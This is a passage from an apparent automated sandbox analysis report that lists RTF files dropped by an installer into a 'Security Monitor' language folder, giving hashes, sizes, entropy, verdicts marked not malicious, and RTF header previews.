SHA-256:	7BC836689CF9FF9CF09F7E58AF04356C29C44CD67256FF828873AFAE1D9AD78A
SHA-512:	9DA4AFC8A0E1A92A33ED8D33C8C3E6162DC0FCED24BF9A65A69ED92380B10E5B639E6809067E1D8A7F2BCD7300A809CFBA07693AF9A6B425CCDA76CAC53AB38C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-64V0H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44885
Entropy (8bit):	5.051249541456295
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoFleTHHqaXD8TfLlCeTxDn4UfvUwNi:VklnIqN4Tm
MD5:	26DF31606E6051A5AB82AFA526964B5B
SHA1:	E567611817B3963033B65E615EE4ABB3FCE7499A
SHA-256:	8B807D3D26611E1DD448B29E0626173AE0C4077974E4BC018358536D48A6F510
SHA-512:	49BF5203F94FDB4136E58F17CFF137DD5685372A135701E22649E1B2661A3F48AD09B2FE6EDBA57AF4DD80C0766934AE2A281F845D32C9D529A3C20A3E9315F6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-6IA7V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	5.0440980385984355
Encrypted:	false
SSDEEP:	768:Vk13ixj20TaGC5X2kEDYd/awBGkRYoGPLo9C4Yhn8uw8h33SSnHDlM85baNRWmgA:VkGt4T3
MD5:	8F7F1A8853F08FDC85B12A89E08CF432
SHA1:	D2F7DCC9250548EA79E9AB2148E232B183527D2D
SHA-256:	519A67854D21C49B501187DC6DE66AB09C403ABE68F5E3F20ECEAFD24FD92A51
SHA-512:	871B3634AB86A66E58424D45984EF0EA8973220D3A17F58B4CD399807045E5A6C72505F82E40A2789BBCF62C219E1EBBFD109DB29A0ECD3433AD04A47434A48A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-860LB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36554
Entropy (8bit):	5.033242301326159
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVUO9HZYSEWsIZ/6A9V:w4G3UntIA9V
MD5:	60CFC0AB1C3A23B456BDEB0DD8010A83
SHA1:	E2EB5D85ECC146BA756BB812247090D421D8F906
SHA-256:	FB9A493F603C0027F6782538022DA6D82577FC0CE69146E66076EF94440B7D18
SHA-512:	80ABA72B39079A7B4378C0B106CBB0098AE94BEAC586DC34BE10F5CE2D7F0193B20A215F0D98D08A709F934CB1AC05FCE6B15270D3E855F01BD9C814D95AA4AB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-9G4QP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43947
Entropy (8bit):	5.053170962954844
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGUxQBkyKWm+m2NjrOX/zJwPzFZ6LUECxfxkSFgc/rcaVbnq4Tf:VklRPc4Tf
MD5:	874129F2A6DD7287BADBF2EBD223923F
SHA1:	A6D84C0AE81F13DE1C8952A8EA3602DC54B99C2E
SHA-256:	C824F8E324B7B859ADCCA1F38437CEE6AA19ECF8FB5C8723C6347DCEA2206128
SHA-512:	236A143EC7C0E1151CAE3B0399884E7498327B2F9E4C03FA65DCDCD9628CEE9BE6DEEC5A7B5312E8CB8B016C4B5BDAADDAEDD49E20F7D75F71AD63D49F85EDA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-EDOUQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45050
Entropy (8bit):	5.040256574487364
Encrypted:	false
SSDEEP:	768:VkGN4JtHiBkyKWm+m2NjrOX/zJnKujtCUcFsWjeQ2CzLZ7RntKuG5QZ2y3OE50sq:VkNk4TF
MD5:	94F6C834BB72118F52C6E4AFA65342BF
SHA1:	5066CA137EA8AE0F1CFDB50D364C0A85BF31B98D
SHA-256:	E950C0B4282DDB4BBBCA54BB72CB789B117690E1EFA15D7BE6C59BE5D77A65EA
SHA-512:	80147E578792B71F77E06659978C233E4BE7AB1352B056DEC3BCA74A0E5F5A6386983B5935467BDDA4DDF34CD64304843903A85DAC3C813DCF49457810E670E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-GDH08.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	38095
Entropy (8bit):	5.023434979525739
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjYeQZBzyKIl6ZIi6rGsoUwEAG2DaGZ:qhg3feQZ5yKIl2U4Z
MD5:	BF8EAEFA279A7B4973C0AEA344342EEA
SHA1:	FC9B1F4747B94663D9BE6A446F8C186D981321F0
SHA-256:	05D8BABE44F84B4DD6022B8D236C2BF93917E8E38C14F3B700186B8C3C1209C0
SHA-512:	DDB4F723299CB3F50206830FD9809198923FAE710CE314A22558C26D235B85E1BAC6562C8A17C723857734DB0432158FC22450FE43AB3A0FFF5704D8CA885175
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-GS73F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37942
Entropy (8bit):	5.034259997396652
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kLuuXprzghApkH9bEJzKv3TFeq4T5:VkHwd4T5
MD5:	A4F051708B7CC7EC3B58CB0A01A56DAA
SHA1:	4C4D011C0EFC5497763698DD21BE21D61553EE51
SHA-256:	E5AC50A87DD55807C9FC5BDF12C6317581F50456A9D99EF92794F5C089748F6E
SHA-512:	EFEF770ED92BB6F5D76AB7613ADF47ADF264CBBBFB741D7514A9424D77055CA01DCD1462DAFA2A8CF9E9FAF36931F78865430FE62F30DC77A9F18E0A28C8EC37
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-H4N3M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55781
Entropy (8bit):	4.974374262253835
Encrypted:	false
SSDEEP:	768:wqFkd4JQJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL02GZLu5UZcHXqjHZCNVsMQgB:wqdThL0kIIA9Y
MD5:	0BF8EF2B17B829705BB1D37632503C1F
SHA1:	5E969D18969120A577205E785D8641CAD1037AA5
SHA-256:	665B118FF5A8EA42EC98EB73371D9F28DAA619617F014E4C6FB9F4281521D391
SHA-512:	6FA8B101F982EC8CB3987057591C90300C0C158A74D4DBCEFF179E994E9A560C5EF0F130314639B751B01501465B4D55C8DA68F95FF1F9E97174B3A8CF264AB3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-PMTL9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43957
Entropy (8bit):	5.05318714443273
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqAFbMmzigeIgpwgM/tI1m3AG8bq4Tn:VklnIqk4Tn
MD5:	C802BE58C5B4EEE36B30EAE58603CBE5
SHA1:	3F245C80D14B4051CDE661FE373FB7C57020019A
SHA-256:	6D1E5226FE921E8E23C48A0F7C4FC06B815BB0D777C2DE20D6E4EB2A53100023
SHA-512:	402EBEFF45912562F8248CA7018BEEDE532E91F54839AA5AE556590D6F9D9D786E39E9776808C30F050CDC22BEB595A715DF8A2603ED1AF675A2B07665B249FB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-Q42RI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45797
Entropy (8bit):	5.048112106920449
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmms0Fzyf/8Ze52zxn1yIATqQfIUj1gCK/:VklnIsM4T4
MD5:	B282950E706D40B97814A1BE2F1513FE
SHA1:	82318E2310302B88264AF88800CB5A6762446C20
SHA-256:	C93DEB9DF3F1878F380EC3C9348E22E07A5A38CC005D180FFAE3EF7C663BA567
SHA-512:	0A5128EE9895BDB59F247B49B105E990675E27A9F93F006E88500CEBE5084722DD4D1CC74CDC31AC65AAAE0962D4FA2F1EDB96C26AA4CBE733054B35D047C49B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-R6RKD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78220
Entropy (8bit):	4.998804403921912
Encrypted:	false
SSDEEP:	1536:w4NORVKcNG59+ppOBpvKeGpWONtetjIC1uCLCCiOBG/60Oc5IRcofyW26IA9w:w2GVFU59+/O3vKeO+5G
MD5:	284D049932C02AFE360E12F1ACBBEB89
SHA1:	F5D588FE773BF163D5FE123B38FCAF70AF53F786
SHA-256:	9AD1BA3EF54FEA19A88AAABBAF13DBD8C798DA68B989F4E321594E54A5DB2AF6
SHA-512:	AF4E3F43E6A258E8E45A2983A2DC1CE29190163B2DCDE25DC4AB3BFF4F1FC6E07E14BB4023FC5A7F7C008463BD1F8D7ADCB12D1FDAFD6503B41E94D2E98D74F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-UFI76.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68966
Entropy (8bit):	4.980232511599592
Encrypted:	false
SSDEEP:	768:wqFy4FxrUJHT2njX8x3TLjwUtqYepAkVZEdvI9vTkdr9oY7sad4m11F8yO61x3fj:wqJ7RTkdtIA9J
MD5:	84C18085AA83A3983748A25518050BF5
SHA1:	92861E7CC4A6C458188EE78856C6D542EC279BD8
SHA-256:	BB5C8F79F380A101456F8C6157E9999F906CE697B357789DB415B5182D4BBA21
SHA-512:	A8477B72B61D832DB1C72074E70E6A3752F67C21A9B6DB02261CD155AD583806DFA866A4533DB2FFDE9D2B978C4972E3B4FA0BC06AC2E91F4F207C8468653A3B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-UGPGJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42973
Entropy (8bit):	5.043020142659255
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DkF8zHtrWM+cimZ/6A9r:wqR3tIA9r
MD5:	286021A4AA9BD225FA7A87089380213E
SHA1:	DA805EA3171A5FFF8357CD89F798D576D0B27E70
SHA-256:	C447B4CA501DAB11FCDFF381BABF34C63BE48B0DADBC538D2C5F1CD07F4D7BCF
SHA-512:	F4A21476EE1870D47162C29625D966D37C16B3F40EE30F54E68A8F81BAC74DEE3FD5C7489DC5F883745DB98E7BCB69B80DB00A664A3330FB0AB1DEF3AA9F7F56
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-VCGJJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
